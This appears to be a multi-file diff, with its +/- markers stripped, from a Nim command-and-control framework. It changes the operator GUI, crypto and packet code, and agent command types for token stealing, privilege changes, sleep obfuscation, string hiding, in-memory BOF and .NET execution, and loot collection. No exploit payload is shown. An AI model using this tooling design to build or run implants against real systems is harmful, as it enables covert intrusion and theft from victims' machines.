if igTableSetColumnIndex(0):
# Enable multi-select functionality
igSetNextItemSelectionUserData(row)
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](row))
discard igSelectable_Bool(agent.agentId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
# Highlight high integrity sessions in red
if agent.elevated:
igPushStyleColor_Vec4(ImGui_Col_Text.cint, CONSOLE_ERROR)
discard igSelectable_Bool(agent.agentId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
if agent.elevated:
igPopStyleColor(1)
# Interact with session on double-click
if igIsMouseDoubleClicked_Nil(ImGui_MouseButton_Left.int32):
component.interact()
if igTableSetColumnIndex(1):
igText(agent.listenerId)
igText(agent.listenerId.cstring)
if igTableSetColumnIndex(2):
igText(agent.ipInternal)
igText(agent.ipInternal.cstring)
if igTableSetColumnIndex(3):
igText(agent.ipExternal)
igText(agent.ipExternal.cstring)
if igTableSetColumnIndex(4):
igText(agent.username)
igText(agent.username.cstring)
if component.agentImpersonation.hasKey(agent.agentId):
igSameLine(0.0f, textSpacing)
igText(fmt"[{component.agentImpersonation[agent.agentId]}]".cstring)
if igTableSetColumnIndex(5):
igText(agent.hostname)
igText(agent.hostname.cstring)
if igTableSetColumnIndex(6):
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
igText(agent.domain.cstring)
if igTableSetColumnIndex(7):
igText(agent.os)
igText(agent.os.cstring)
if igTableSetColumnIndex(8):
igText(agent.process)
igText(agent.process.cstring)
if igTableSetColumnIndex(9):
igText($agent.pid)
igText(($agent.pid).cstring)
if igTableSetColumnIndex(10):
let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds
@@ -123,8 +140,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
let minutes = (totalSeconds mod 3600) div 60
let seconds = totalSeconds mod 60
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
igText(fmt"{timeText} ago")
igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago".cstring)
if igTableSetColumnIndex(11):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
@@ -134,12 +150,11 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
let minutes = (totalSeconds mod 3600) div 60
let seconds = totalSeconds mod 60
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
let timeText = fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago"
if totalSeconds > agent.sleep:
igTextColored(GRAY, fmt"{timeText} ago")
igTextColored(GRAY, timeText.cstring)
else:
igText(fmt"{timeText} ago")
igText(timeText.cstring)
# Handle right-click context menu
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected
@@ -149,12 +164,44 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
component.interact()
igCloseCurrentPopup()
if igBeginMenu("Exit", true):
if igMenuItem("Process", nil, false, true):
for i, agent in component.agents:
if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
if component.consoles[].hasKey(agent.agentId):
component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process")
else:
let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"])
connection.sendAgentTask(agent.agentId, "exit process", task)
ImGuiSelectionBasicStorage_Clear(component.selection)
igCloseCurrentPopup()
if igMenuItem("Thread", nil, false, true):
for i, agent in component.agents:
if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
if component.consoles[].hasKey(agent.agentId):
component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread")
else:
let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"])
connection.sendAgentTask(agent.agentId, "exit thread", task)
ImGuiSelectionBasicStorage_Clear(component.selection)
igCloseCurrentPopup()
igEndMenu()
igSeparator()
if igMenuItem("Remove", nil, false, true):
# Update agents table with only non-selected ones
var newAgents: seq[UIAgent] = @[]
for i, agent in component.agents:
if not ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
newAgents.add(agent)
else:
# Send message to team server to remove delete the agent from the database and stop it from re-appearing when the client is restarted
connection.sendAgentRemove(agent.agentId)
component.agents = newAgents
ImGuiSelectionBasicStorage_Clear(component.selection)

View File

@@ -1,10 +1,9 @@
import strutils, sequtils, algorithm
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors, utils]
import ../../../common/[types, utils]
import sequtils, algorithm
import imguin/[cimgui, glfw_opengl]
import ../../utils/[appImGui, colors]
type
DualListSelectionComponent*[T] = ref object of RootObj
DualListSelectionWidget*[T] = ref object of RootObj
items*: array[2, seq[T]]
selection: array[2, ptr ImGuiSelectionBasicStorage]
display: proc(item: T): string
@@ -14,8 +13,8 @@ type
proc defaultDisplay[T](item: T): string =
return $item
proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defaultDisplay, compare: proc(x, y: T): int, tooltip: proc(item: T): string = nil): DualListSelectionComponent[T] =
result = new DualListSelectionComponent[T]
proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defaultDisplay, compare: proc(x, y: T): int, tooltip: proc(item: T): string = nil): DualListSelectionWidget[T] =
result = new DualListSelectionWidget[T]
result.items[0] = items
result.items[1] = @[]
result.selection[0] = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
@@ -24,7 +23,7 @@ proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defau
result.compare = compare
result.tooltip = tooltip
proc moveAll[T](component: DualListSelectionComponent[T], src, dst: int) =
proc moveAll[T](component: DualListSelectionWidget[T], src, dst: int) =
for m in component.items[src]:
component.items[dst].add(m)
component.items[dst].sort(component.compare)
@@ -33,7 +32,7 @@ proc moveAll[T](component: DualListSelectionComponent[T], src, dst: int) =
ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst])
ImGuiSelectionBasicStorage_Clear(component.selection[src])
proc moveSelection[T](component: DualListSelectionComponent[T], src, dst: int) =
proc moveSelection[T](component: DualListSelectionWidget[T], src, dst: int) =
var keep: seq[T]
for i in 0 ..< component.items[src].len():
let item = component.items[src][i]
@@ -47,10 +46,10 @@ proc moveSelection[T](component: DualListSelectionComponent[T], src, dst: int) =
ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst])
ImGuiSelectionBasicStorage_Clear(component.selection[src])
proc reset*[T](component: DualListSelectionComponent[T]) =
proc reset*[T](component: DualListSelectionWidget[T]) =
component.moveAll(1, 0)
proc draw*[T](component: DualListSelectionComponent[T]) =
proc draw*[T](component: DualListSelectionWidget[T]) =
if igBeginTable("split", 3, ImGuiTableFlags_None.int32, vec2(0.0f, 0.0f), 0.0f):
@@ -70,9 +69,9 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
# Header
var text = "Available"
var textSize: ImVec2
igCalcTextSize(addr textSize, text, nil, false, 0.0f)
igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f)
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(0) - textSize.x) * 0.5f)
igTextColored(GRAY, text)
igTextColored(GRAY, text.cstring)
# Set the size of selection box to fit all modules
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
@@ -86,7 +85,7 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
for row in 0 ..< modules.len().int32:
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
igSetNextItemSelectionUserData(row)
discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
if not component.tooltip.isNil():
setTooltip(component.tooltip(modules[row]))
@@ -125,9 +124,9 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
# Header
text = "Selected"
igCalcTextSize(addr textSize, text, nil, false, 0.0f)
igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f)
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(2) - textSize.x) * 0.5f)
igTextColored(GRAY, text)
igTextColored(GRAY, text.cstring)
# Set the size of selection box to fit all modules
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
@@ -139,7 +138,7 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
for row in 0 ..< modules.len().int32:
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
igSetNextItemSelectionUserData(row)
discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
if not component.tooltip.isNil():
setTooltip(component.tooltip(modules[row]))

View File

@@ -0,0 +1,123 @@
import strutils, times
import imguin/[cimgui, glfw_opengl]
import ../../utils/[appImGui, colors]
import ../../../common/types
type
TextareaWidget* = ref object of RootObj
content: ConsoleItems
contentDisplayed: ConsoleItems
textSelect: ptr TextSelect
showTimestamps: bool
autoScroll: bool
# Text highlighting
proc getText(item: ConsoleItem): cstring =
if item.itemType != LOG_OUTPUT:
return ("[" & item.timestamp & "]" & $item.itemType & item.text).cstring
else:
return ($item.itemType & item.text).cstring
proc getNumLines(data: pointer): csize_t {.cdecl.} =
if data.isNil:
return 0
let content = cast[ConsoleItems](data)
return content.items.len().csize_t
proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} =
if data.isNil:
return nil
let content = cast[ConsoleItems](data)
let line = content.items[i].getText()
if not outLen.isNil:
outLen[] = line.len.csize_t
return line
proc Textarea*(showTimestamps: bool = true, autoScroll: bool = true): TextareaWidget =
result = new TextareaWidget
result.content = new ConsoleItems
result.content.items = @[]
result.contentDisplayed = new ConsoleItems
result.contentDisplayed.items = @[]
result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.contentDisplayed), 0)
result.showTimestamps = showTimestamps
result.autoScroll = autoScroll
# API to add new content entry
proc addItem*(component: TextareaWidget, itemType: LogType, data: string, timestamp: string = now().format("dd-MM-yyyy HH:mm:ss")) =
for line in data.split("\n"):
component.content.items.add(ConsoleItem(
timestamp: timestamp,
itemType: itemType,
text: line
))
proc clear*(component: TextareaWidget) =
component.content.items.setLen(0)
component.contentDisplayed.items.setLen(0)
component.textSelect.textselect_clear_selection()
proc isEmpty*(component: TextareaWidget): bool =
return component.content.items.len() <= 0
# Drawing
proc print(component: TextareaWidget, item: ConsoleItem) =
if item.itemType != LOG_OUTPUT and component.showTimestamps:
igTextColored(GRAY, ("[" & item.timestamp & "]").cstring, nil)
igSameLine(0.0f, 0.0f)
case item.itemType:
of LOG_INFO, LOG_INFO_SHORT:
igTextColored(CONSOLE_INFO, ($item.itemType).cstring)
of LOG_ERROR, LOG_ERROR_SHORT:
igTextColored(CONSOLE_ERROR, ($item.itemType).cstring)
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
igTextColored(CONSOLE_SUCCESS, ($item.itemType).cstring)
of LOG_WARNING, LOG_WARNING_SHORT:
igTextColored(CONSOLE_WARNING, ($item.itemType).cstring)
of LOG_COMMAND:
igTextColored(CONSOLE_COMMAND, ($item.itemType).cstring)
of LOG_OUTPUT:
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), ($item.itemType).cstring)
igSameLine(0.0f, 0.0f)
igTextUnformatted(item.text.cstring, nil)
proc draw*(component: TextareaWidget, size: ImVec2, filter: ptr ImGuiTextFilter = nil) =
try:
# Set styles of the eventlog window
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
if igBeginChild_Str("##TextArea", size, childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
# Display items
component.contentDisplayed.items.setLen(0)
for item in component.content.items:
# Handle search/filter
if not filter.isNil():
if filter.ImGuiTextFilter_IsActive():
if not filter.ImGuiTextFilter_PassFilter(item.getText(), nil):
continue
component.contentDisplayed.items.add(item)
component.print(item)
# Auto-scroll to bottom
if component.autoScroll:
if igGetScrollY() >= igGetScrollMaxY():
igSetScrollHereY(1.0f)
component.textSelect.textselect_update()
except IndexDefect:
# CTRL+A crashes when no items are in the text area
discard
finally:
igPopStyleColor(3)
igPopStyleVar(1)
igEndChild()

View File

@@ -67,15 +67,15 @@ proc crypto_wipe*(data: ptr byte, size: csize_t) {.importc, cdecl.}
# Generate X25519 public key from private key
proc getPublicKey*(privateKey: Key): Key =
crypto_x25519_public_key(result[0].addr, privateKey[0].addr)
crypto_x25519_public_key(addr result[0], addr privateKey[0])
# Perform X25519 key exchange
proc keyExchange*(privateKey: Key, publicKey: Key): Key =
crypto_x25519(result[0].addr, privateKey[0].addr, publicKey[0].addr)
crypto_x25519(addr result[0], addr privateKey[0], addr publicKey[0])
# Calculate Blake2b hash
func pointerAndLength*(bytes: openArray[byte]): (ptr[byte], uint) =
result = (cast[ptr[byte]](unsafeAddr bytes), uint(len(bytes)))
result = (cast[ptr[byte]](addr bytes), uint(len(bytes)))
func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, byte] =
let (messagePtr, messageLen) = pointerAndLength(message)
@@ -86,7 +86,7 @@ func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, by
# Secure memory wiping
proc wipeKey*(data: var openArray[byte]) =
if data.len > 0:
crypto_wipe(data[0].addr, data.len.csize_t)
crypto_wipe(addr data[0], data.len.csize_t)
# Key pair generation
proc generateKeyPair*(): KeyPair =
@@ -114,7 +114,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
let hash = blake2b(hashMessage, sharedSecret)
copyMem(key[0].addr, hash[0].addr, sizeof(Key))
copyMem(addr key[0], addr hash[0], sizeof(Key))
# Cleanup
wipeKey(sharedSecret)

View File

@@ -10,9 +10,7 @@ proc sendEvent*(ws: WebSocket, event: Event, key: Key = default(Key)) =
var packer = Packer.init()
let iv = generateBytes(Iv)
var
data = string.toBytes($event.data)
var data = string.toBytes($event.data)
packer.add(cast[uint8](event.eventType))
packer.add(cast[uint32](event.timestamp))

View File

@@ -30,7 +30,6 @@ proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
return values[rand(values.len - 1)]
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
# A random entry is selected from these specifications
var value: string = ""

View File

@@ -7,6 +7,7 @@ proc nextSequence*(agentId: uint32): uint32 =
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u32) + 1
return sequenceTable[agentId]
# Sequence tracking is currently broken and needs to be reworked
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
@@ -20,7 +21,7 @@ proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
# return true
# # Validate that the sequence number of the current packet is higher than the currently stored one
# if seqNr <= lastSeqNr:
# if seqNr < lastSeqNr:
# return false
# # Update sequence number

View File

@@ -17,7 +17,7 @@ proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer
return packer
proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
packer.stream.writeData(data[0].unsafeAddr, data.len)
packer.stream.writeData(addr data[0], data.len)
return packer
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
@@ -97,7 +97,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
return @[]
result = newSeq[byte](length)
let bytesRead = unpacker.stream.readData(result[0].addr, length)
let bytesRead = unpacker.stream.readData(addr result[0], length)
unpacker.position += bytesRead
if bytesRead != length:
@@ -106,7 +106,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
var bytes: array[sizeof(T), byte]
let bytesRead = unpacker.stream.readData(bytes[0].unsafeAddr, sizeof(T))
let bytesRead = unpacker.stream.readData(addr bytes[0], sizeof(T))
unpacker.position += bytesRead
if bytesRead != sizeof(T):

View File

@@ -52,17 +52,14 @@ type
CMD_SCREENSHOT = 15'u16
CMD_DOTNET = 16'u16
CMD_SLEEPMASK = 17'u16
ModuleType* = enum
MODULE_ALL = 0'u32
MODULE_SLEEP = 1'u32
MODULE_SHELL = 2'u32
MODULE_BOF = 4'u32
MODULE_DOTNET = 8'u32
MODULE_FILESYSTEM = 16'u32
MODULE_FILETRANSFER = 32'u32
MODULE_SCREENSHOT = 64'u32
MODULE_SITUATIONAL_AWARENESS = 128'u32
CMD_MAKE_TOKEN = 18'u16
CMD_STEAL_TOKEN = 19'u16
CMD_REV2SELF = 20'u16
CMD_TOKEN_INFO = 21'u16
CMD_ENABLE_PRIV = 22'u16
CMD_DISABLE_PRIV = 23'u16
CMD_EXIT = 24'u16
CMD_SELF_DESTRUCT = 25'u16
StatusType* = enum
STATUS_COMPLETED = 0'u8
@@ -100,16 +97,21 @@ type
ZILEAN = 2'u8
FOLIAGE = 3'u8
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
iterator items*(e: typedesc[ModuleType]): ModuleType =
yield MODULE_SLEEP
yield MODULE_SHELL
yield MODULE_BOF
yield MODULE_DOTNET
yield MODULE_FILESYSTEM
yield MODULE_FILETRANSFER
yield MODULE_SCREENSHOT
yield MODULE_SITUATIONAL_AWARENESS
ExitType* {.size: sizeof(uint8).} = enum
EXIT_PROCESS = "process"
EXIT_THREAD = "thread"
ModuleType* = enum
MODULE_ALL = 0'u32
MODULE_SLEEP = 1'u32
MODULE_SHELL = 2'u32
MODULE_BOF = 4'u32
MODULE_DOTNET = 8'u32
MODULE_FILESYSTEM = 16'u32
MODULE_FILETRANSFER = 32'u32
MODULE_SCREENSHOT = 64'u32
MODULE_SITUATIONAL_AWARENESS = 128'u32
MODULE_TOKEN = 256'u32
# Encryption
type
@@ -128,7 +130,7 @@ type
packetType*: uint8 # [1 byte ] message type
flags*: uint16 # [2 bytes ] message flags
size*: uint32 # [4 bytes ] size of the payload body
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
@@ -178,9 +180,10 @@ type
pid*: uint32
isElevated*: uint8
sleep*: uint32
jitter*: uint32
modules*: uint32
AgentRegistrationData* = object
Registration* = object
header*: Header
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
metadata*: AgentMetadata
@@ -191,6 +194,7 @@ type
agentId*: string
listenerId*: string
username*: string
impersonationToken*: string
hostname*: string
domain*: string
ipInternal*: string
@@ -200,6 +204,7 @@ type
pid*: int
elevated*: bool
sleep*: int
jitter*: int
tasks*: seq[Task]
modules*: uint32
firstCheckin*: int64
@@ -211,6 +216,7 @@ type
agentId*: string
listenerId*: string
username*: string
impersonationToken*: string
hostname*: string
domain*: string
ipInternal*: string
@@ -220,6 +226,7 @@ type
pid*: int
elevated*: bool
sleep*: int
jitter*: int
modules*: uint32
firstCheckin*: int64
latestCheckin*: int64
@@ -229,15 +236,17 @@ type
Protocol* {.size: sizeof(uint8).} = enum
HTTP = "http"
Listener* = ref object of RootObj
Listener* = ref object
server*: Server
listenerId*: string
hosts*: string
address*: string
port*: int
protocol*: Protocol
UIListener* = ref object of RootObj
UIListener* = ref object
listenerId*: string
hosts*: string
address*: string
port*: int
protocol*: Protocol
@@ -248,13 +257,16 @@ type
type
EventType* = enum
CLIENT_HEARTBEAT = 0'u8 # Basic checkin
CLIENT_KEY_EXCHANGE = 200'u8
CLIENT_KEY_EXCHANGE = 200'u8 # Unencrypted public key sent by both parties for key exchange
# Sent by client
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
CLIENT_AGENT_TASK = 2'u8 # Instruct TS to send queue a command for a specific agent
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
CLIENT_LOOT_REMOVE = 5'u8 # Remove loot on the team server
CLIENT_LOOT_GET = 6'u8 # Request file/screenshot from the team server for preview or download
CLIENT_AGENT_REMOVE = 7'u8 # Delete agent from the team server database
# Sent by team server
CLIENT_PROFILE = 100'u8 # Team server profile and configuration
@@ -265,7 +277,10 @@ type
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
CLIENT_LOOT = 108'u8 # Download file or screenshot to the operator desktop
CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content
CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop
CLIENT_IMPERSONATE_TOKEN = 110'u8 # Access token impersonated
CLIENT_REVERT_TOKEN = 111'u8 # Revert to original logon session
Event* = object
eventType*: EventType
@@ -296,17 +311,30 @@ type
profile*: Profile
client*: WsConnection
WorkingHours* = ref object
enabled*: bool
startHour*: int32
startMinute*: int32
endHour*: int32
endMinute*: int32
SleepSettings* = ref object
sleepDelay*: uint32
jitter*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
workingHours*: WorkingHours
AgentCtx* = ref object
agentId*: string
listenerId*: string
ip*: string
port*: int
sleep*: int
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
hosts*: string
sleepSettings*: SleepSettings
killDate*: int64
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
registered*: bool
# Structure for command module definitions
type
@@ -335,7 +363,7 @@ type
type
ConsoleItem* = ref object
itemType*: LogType
timestamp*: int64
timestamp*: string
text*: string
ConsoleItems* = ref object
@@ -343,7 +371,20 @@ type
AgentBuildInformation* = ref object
listenerId*: string
sleepDelay*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
sleepSettings*: SleepSettings
verbose*: bool
killDate*: int64
modules*: uint32
LootItemType* = enum
DOWNLOAD = 0'u8
SCREENSHOT = 1'u8
LootItem* = ref object
itemType*: LootItemType
lootId*: string
agentId*: string
host*: string
path*: string
timestamp*: int64
size*: int

View File

@@ -16,6 +16,7 @@ proc toBytes*(T: type string, data: string): seq[byte] =
#[
Compile-time string encryption using simple XOR
This is done to hide sensitive strings, such as C2 profile settings in the binary
Original: https://github.com/S3cur3Th1sSh1t/nim-strenc/blob/main/src/strenc.nim
]#
proc calculate(str: string, key: int): string {.noinline.} =
var k = key
@@ -101,4 +102,4 @@ proc toKey*(value: string): Key =
if value.len != 32:
raise newException(ValueError, protect("Invalid key length."))
copyMem(result[0].addr, value[0].unsafeAddr, 32)
copyMem(addr result[0], addr value[0], 32)

View File

@@ -29,10 +29,11 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import strformat
import ../agent/core/coff
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
import ../common/serialize
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
try:
@@ -57,7 +58,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix()
objectFileContents = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing object file {fileName}."
print fmt" [>] Executing object file {fileName}."
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
if output != "":

View File

@@ -29,10 +29,11 @@ when not defined(agent):
when defined(agent):
import strutils, strformat
import strformat
import ../agent/core/clr
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
import ../common/serialize
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
try:
@@ -56,7 +57,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix()
assemblyBytes = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing .NET assembly {fileName}."
print fmt" [>] Executing .NET assembly {fileName}."
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
if output != "":

Some files were not shown because too many files have changed in this diff Show More